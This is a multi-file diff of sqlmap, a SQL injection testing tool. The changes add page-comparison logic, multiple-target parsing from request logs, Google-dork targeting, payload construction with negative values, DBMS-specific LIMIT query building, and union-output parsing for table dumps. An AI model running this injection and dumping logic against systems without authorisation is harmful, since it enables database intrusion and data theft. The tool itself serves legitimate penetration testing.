logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE double quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE double quoted string injectable"
logger.info(infoMsg)
return None
@@ -217,8 +255,8 @@ def checkDynParam(place, parameter, value):
dynamicity might depend on another parameter.
"""
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
@@ -227,8 +265,8 @@ def checkDynParam(place, parameter, value):
if kb.defaultResult == dynResult1:
return False
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
@@ -253,20 +291,76 @@ def checkStability():
like for instance string matching (--string).
"""
logMsg = "testing if the url is stable, wait a few seconds"
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True)
time.sleep(0.5)
secondPage, secondHeaders = Request.queryPage(content=True)
time.sleep(0.5)
thirdPage, thirdHeaders = Request.queryPage(content=True)
condition = firstPage == secondPage
condition &= secondPage == thirdPage
if condition == False:
# Prepare for the comparison algorithm based on Content-Length
# header value
contentLengths = []
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
for requestHeaders in requestsHeaders:
requestHeaders = str(requestHeaders).lower()
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
if clHeader and clHeader.group(1).isdigit():
contentLengths.append(int(clHeader.group(1)))
if contentLengths:
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
warnMsg = "url is not stable, sqlmap inspected the headers "
warnMsg += "and identified that Content-Length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
# Prepare for the comparison algorithm based on page content's
# stable lines subset
counter = 0
firstLines = firstPage.split("\n")
secondLines = secondPage.split("\n")
thirdLines = thirdPage.split("\n")
for firstLine in firstLines:
if counter > len(secondLines) or counter > len(thirdLines):
break
if firstLine in secondLines and firstLine in thirdLines:
conf.equalLines.append(firstLine)
counter += 1
if conf.equalLines:
warnMsg = "url is not stable, sqlmap inspected the page "
warnMsg += "content and identified a stable lines subset "
warnMsg += "to be used in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
if condition == True:
logMsg = "url is stable"
logger.info(logMsg)
firstResult = Request.queryPage()
time.sleep(0.5)
secondResult = Request.queryPage()
time.sleep(0.5)
thirdResult = Request.queryPage()
condition = firstResult == secondResult
condition &= secondResult == thirdResult
return condition
@@ -283,11 +377,11 @@ def checkString():
if condition:
return True
logMsg = "testing if the provided string is within the "
logMsg += "target URL page content"
logger.info(logMsg)
infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content"
logger.info(infoMsg)
page = Request.queryPage(content=True)
page, _ = Request.queryPage(content=True)
if conf.string in page:
setString()
@@ -301,14 +395,46 @@ def checkString():
return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
def checkConnection():
logMsg = "testing connection to the target url"
logger.info(logMsg)
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
try:
kb.defaultResult = Request.queryPage()
except sqlmapConnectionException, exceptionMsg:
if conf.googleDork:
if conf.multipleTargets:
exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg)
return False

View File

@@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
@@ -92,28 +93,45 @@ def start():
"""
if conf.url:
kb.targetUrls.add(conf.url)
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url properly"
errMsg += "the target url, list of targets or google dork"
logger.error(errMsg)
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0
injData = []
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True
for targetUrl in kb.targetUrls:
if conf.googleDork:
hostCount += 1
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
injData = []
message = "url %d: %s, " % (hostCount, targetUrl)
message += "do you want to test this url? [Y/n/q] "
if conf.multipleTargets:
hostCount += 1
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] "
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
if not test:
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
@@ -121,10 +139,9 @@ def start():
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
conf.url = targetUrl
initTargetEnv()
if not checkConnection() or not checkString():
if not checkConnection() or not checkString() or not checkRegexp():
continue
for _, cookie in enumerate(conf.cj):
@@ -157,16 +174,13 @@ def start():
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string:
if checkStability():
logMsg = "url is stable"
logger.info(logMsg)
else:
errMsg = "url is not stable, try with --string option, refer "
errMsg += "to the user's manual paragraph 'String match' "
errMsg += "for details"
if not conf.string and not conf.regexp and not conf.eRegexp:
if not checkStability():
errMsg = "url is not stable, try with --string or "
errMsg += "--regexp options, refer to the user's manual "
errMsg += "paragraph 'Page comparison' for details"
if conf.googleDork:
if conf.multipleTargets:
errMsg += ", skipping to next url"
logger.warn(errMsg)
@@ -201,30 +215,41 @@ def start():
break
else:
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "injectable with %d parenthesis" % parenthesis
logger.info(infoMsg)
if not injData:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable with %d parenthesis" % parenthesis
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1:
injDataSelected = injData[0]
elif len(injData) > 1:
injDataSelected = __selectInjection(injData)
elif conf.multipleTargets:
continue
else:
return
if injDataSelected == "Quit":
return
else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection()
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.googleDork:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")

View File

@@ -55,7 +55,7 @@ def setHandler():
for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping to test for %s" % dbmsNames[count]
debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue

View File

@@ -47,24 +47,28 @@ class Agent:
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None):
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
kb.injParameter + newValue)
"%s%s" % (negValue, kb.injParameter + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, value + newValue))
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
@@ -86,7 +90,10 @@ class Agent:
query = ""
if kb.injType == "numeric":
if conf.prefix:
query = conf.prefix
else:
if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
@@ -95,7 +102,7 @@ class Agent:
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None:
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
@@ -113,8 +120,11 @@ class Agent:
randStr = randomStr()
if comment:
string += "%s" % comment
string += comment
if conf.postfix:
string += " %s" % conf.postfix
else:
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
@@ -220,24 +230,51 @@ class Agent:
def getFields(self, query):
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
if query.startswith("SELECT ") and "(SELECT " in query:
firstChar = "\\("
else:
firstChar = "\\A"
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCast = fieldsSelectTop.groups()[0]
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCast = fieldsSelectDistinct.groups()[0]
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom:
fieldsToCast = fieldsSelectFrom.groups()[0]
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCast = fieldsSelect.groups()[0]
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCast = fieldsNoSelect
fieldsToCastStr = fieldsNoSelect
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
if query.startswith("SELECT ") and "(SELECT " in query:
fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
@@ -269,9 +306,9 @@ class Agent:
concatQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCast)
concatQuery = query.replace(fieldsToCast, castedFields, 1)
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
@@ -356,7 +393,7 @@ class Agent:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query:
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[:conditionIndex]
else:
@@ -364,7 +401,7 @@ class Agent:
else:
inbandQuery += "NULL"
if " FROM " in query:
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[conditionIndex:]
@@ -381,5 +418,55 @@ class Agent:
return inbandQuery
def limitQuery(self, num, query, fieldsList=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param fieldsList: list of fields within the query
@type fieldsList: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I):
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
return limitedQuery
# SQL agent
agent = Agent()

View File

@@ -75,7 +75,7 @@ def paramToDict(place, parameters=None):
elem = element.split("=")
if len(elem) == 2:
parameter = elem[0]
parameter = elem[0].replace(" ", "")
condition = not conf.testParameter
condition |= parameter in conf.testParameter
@@ -97,7 +97,7 @@ def paramToDict(place, parameters=None):
warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place
if conf.googleDork:
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
@@ -112,7 +112,7 @@ def paramToDict(place, parameters=None):
return testableParameters
def formatFingerprint(versions=None):
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@@ -128,6 +128,70 @@ def formatFingerprint(versions=None):
return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
return infoStr
def getHtmlErrorFp():
@@ -207,7 +271,7 @@ def getDirectories():
if kb.docRoot:
directories.add(kb.docRoot)
pagePath = re.search('^/(.*)/', conf.path)
pagePath = re.search("^/(.*)/", conf.path)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
@@ -429,13 +493,39 @@ def parsePasswordHash(password):
def cleanQuery(query):
# SQL SELECT statement
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" where ", " WHERE ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" having ", " HAVING ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
# SQL data definition
upperQuery = upperQuery.replace(" create ", " CREATE ")
upperQuery = upperQuery.replace(" drop ", " DROP ")
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
upperQuery = upperQuery.replace(" alter ", " ALTER ")
# SQL data manipulation
upperQuery = upperQuery.replace(" insert ", " INSERT ")
upperQuery = upperQuery.replace(" update ", " UPDATE ")
upperQuery = upperQuery.replace(" delete ", " DELETE ")
upperQuery = upperQuery.replace(" merge ", " MERGE ")
# SQL data control
upperQuery = upperQuery.replace(" grant ", " GRANT ")
# SQL transaction control
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
return upperQuery
@@ -445,6 +535,7 @@ def setPaths():
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
@@ -454,8 +545,12 @@ def setPaths():
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
def weAreFrozen():
@@ -507,15 +602,20 @@ def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
if asterisk:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
conf.db = asterisk.group(1)
conf.tbl = asterisk.group(2)
dbTbl = asterisk.group(1)
if dbTbl and "." in dbTbl:
conf.db, conf.tbl = dbTbl.split(".")
else:
conf.tbl = dbTbl
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
@@ -531,7 +631,7 @@ def expandAsteriskForColumns(expression):
return expression
def getRange(count, dump=False):
def getRange(count, dump=False, plusOne=False):
count = int(count)
indexRange = None
limitStart = 1
@@ -544,10 +644,59 @@ def getRange(count, dump=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
# TODO: also for Microsoft SQL Server in getColumns method?
if kb.dbms == "Oracle":
if kb.dbms == "Oracle" or plusOne == True:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data

View File

@@ -219,7 +219,7 @@ class Dump:
db = "All"
table = tableValues["__infos__"]["table"]
if not conf.googleDork:
if not conf.multipleTargets:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath):
@@ -259,7 +259,7 @@ class Dump:
blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False)
if not conf.googleDork and field == fields:
if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column)
else:
dataToDumpFile(dumpFP, "\"%s\"," % column)
@@ -267,7 +267,7 @@ class Dump:
field += 1
self.__write("|\n%s" % separator)
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
for i in range(count):
@@ -293,12 +293,12 @@ class Dump:
field += 1
self.__write("|")
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator)
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
dumpFP.close()

View File

@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception):
pass
@@ -89,8 +93,8 @@ class sqlmapValueException(Exception):
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as "
errMsg += "possible:\nsqlmap version: %s\n" % VERSION
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform
return errMsg
@@ -108,6 +112,7 @@ exceptionsTuple = (
sqlmapUndefinedMethod,
sqlmapMissingPrivileges,
sqlmapNotVulnerableException,
sqlmapThreadException,
sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException,
sqlmapValueException,

View File

@@ -28,6 +28,7 @@ import cookielib
import logging
import os
import re
import socket
import time
import urllib2
import urlparse
@@ -81,6 +82,114 @@ def __urllib2Opener():
urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
fread = fp.read()
fread = fread.replace("\r", "")
reqResList = fread.split("======================================================")
for request in reqResList:
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
lines = request.split("\n")
for line in lines:
if len(line) == 0 or line == "\n":
continue
if line.startswith("GET ") or line.startswith("POST "):
if line.startswith("GET "):
index = 4
else:
index = 5
url = line[index:line.index(" HTTP/")]
method = line[:index-1]
if "?" in line and "=" in line:
params = True
getPostReq = True
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
elif ": " in line:
key, value = line.split(": ", 1)
if key.lower() == "cookie":
cookie = value
elif key.lower() == "host":
host = value
if getPostReq and params:
if not url.startswith("http"):
url = "http://%s%s" % (host, url)
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
mode.
"""
initialTargetsCount = len(kb.targetUrls)
addedTargetUrls = set()
if not conf.list:
return
debugMsg = "parsing targets list from '%s'" % conf.list
logger.debug(debugMsg)
if not os.path.exists(conf.list):
errMsg = "the specified list of targets does not exist"
raise sqlmapFilePathException, errMsg
if os.path.isfile(conf.list):
__feedTargetsDict(conf.list, addedTargetUrls)
elif os.path.isdir(conf.list):
files = os.listdir(conf.list)
files.sort()
for reqFile in files:
if not re.search("([\d]+)\-request", reqFile):
continue
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
else:
errMsg = "the specified list of targets is not a file "
errMsg += "nor a directory"
raise sqlmapFilePathException, errMsg
updatedTargetsCount = len(kb.targetUrls)
if updatedTargetsCount > initialTargetsCount:
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
@@ -109,7 +218,7 @@ def __setGoogleDorking():
errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg
kb.targetUrls = googleObj.getTargetUrls()
googleObj.getTargetUrls()
if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches)
@@ -120,7 +229,7 @@ def __setGoogleDorking():
else:
logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable hosts"
logMsg += "of them are testable targets"
logger.info(logMsg)
else:
errMsg = "sqlmap got %d results " % len(matches)
@@ -129,9 +238,9 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg
def __setRemoteDBMS():
def __setDBMS():
"""
Checks and set the back-end DBMS option.
Force the back-end DBMS option.
"""
if not conf.dbms:
@@ -159,7 +268,7 @@ def __setRemoteDBMS():
def __setThreads():
if conf.threads <= 0:
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
@@ -262,9 +371,6 @@ def __setHTTPMethod():
"""
if conf.method:
debugMsg = "setting the HTTP method to perform HTTP requests through"
logger.debug(debugMsg)
conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"):
@@ -277,6 +383,28 @@ def __setHTTPMethod():
else:
conf.method = "GET"
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
conf.headers = conf.headers.split("\n")
for headerValue in conf.headers:
header, value = headerValue.split(": ")
if header and value:
conf.httpHeaders.append((header, value))
else:
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent():
"""
@@ -376,6 +504,29 @@ def __setHTTPCookies():
conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
"""
if conf.timeout:
debugMsg = "setting the HTTP timeout"
logger.debug(debugMsg)
conf.timeout = float(conf.timeout)
if conf.timeout < 3.0:
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
warnMsg += "will going to reset it"
logger.warn(warnMsg)
conf.timeout = 3.0
else:
conf.timeout = 10.0
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions():
"""
Cleanup configuration attributes.
@@ -402,6 +553,12 @@ def __cleanupOptions():
if conf.user:
conf.user = conf.user.replace(" ", "")
if conf.delay:
conf.delay = float(conf.delay)
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes():
"""
@@ -413,19 +570,25 @@ def __setConfAttributes():
logger.debug(debugMsg)
conf.cj = None
conf.contentLengths = []
conf.dbmsHandler = None
conf.dumpPath = None
conf.equalLines = []
conf.httpHeaders = []
conf.hostname = None
